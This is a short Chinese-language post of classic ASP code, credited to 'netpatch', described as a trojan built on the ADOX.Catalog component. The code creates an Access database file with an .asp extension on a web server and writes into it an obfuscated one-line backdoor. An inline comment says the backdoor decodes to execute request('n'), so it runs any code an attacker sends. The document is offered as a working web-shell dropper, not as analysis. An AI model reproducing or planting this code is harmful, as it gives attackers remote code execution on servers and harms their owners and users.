利用的是ADOX.Catalog组件的马

<%　 'code by netpatch dim dbfile,sql　 db="netpatch.asp" dbfile=server.MapPath(db)　 set ydb=server.CreateObject("ADOX.Catalog")　 ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile　 set ydb=nothing　 if err.number=0 then　 Response.Write dbfile & " 创建成功<br> "　 else　 Response.Write "创建失败，原因： " & err.description　 Response.End　 end if　 Set Conn = Server.CreateObject("ADODB.Connection")　 Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile　 sql="CREATE TABLE fdata([data] Memo)"　 conn.execute(sql)　 Set rs = CreateObject("ADODB.RecordSet")　 rs.Open "FData", conn, 1, 3　 rs.addnew　 rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>" '(注释记得去掉！一句话后门 execute request(“n”)) rs.update　 %>